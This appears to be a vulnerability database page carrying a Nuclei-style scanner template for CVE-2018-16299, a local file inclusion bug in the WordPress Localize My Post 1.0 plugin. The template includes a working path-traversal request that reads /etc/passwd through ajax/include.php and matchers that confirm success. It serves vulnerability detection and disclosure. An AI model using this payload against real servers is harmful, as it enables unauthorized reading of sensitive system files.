CVE-2018-16299: WordPress Localize My Post 1.0 - Local File Inclusion

2025-08-01 WordPress PoC Public

Description

WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter.

PoC

id: CVE-2018-16299

info:
  name: WordPress Localize My Post 1.0 - Local File Inclusion
  author: 0x_Akoko,0x240x23elu
  severity: high
  description: |
    WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Update to the latest version of WordPress Localize My Post plugin.
  reference:
    - https://www.exploit-db.com/exploits/45439
    - https://packetstormsecurity.com/files/149433/WordPress-Localize-My-Post-1.0-Local-File-Inclusion.html
    - https://github.com/julianburr/wp-plugin-localizemypost/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16299
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-16299
    cwe-id: CWE-22
    epss-score: 0.44358
    epss-percentile: 0.98729
    cpe: cpe:2.3:a:localize_my_post_project:localize_my_post:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: localize_my_post_project
    product: localize_my_post
    framework: wordpress
  tags: cve2018,cve,wordpress,lfi,plugin,wp,edb,packetstorm,localize_my_post_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220772026f85f3b70c23b73c40716cc05022542c0a23aff247be3a9a774363dea1e02207cab9ee811bd9d96ace7dfbbed800504cda5dde113e53c9177e421f3b04d2fa2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities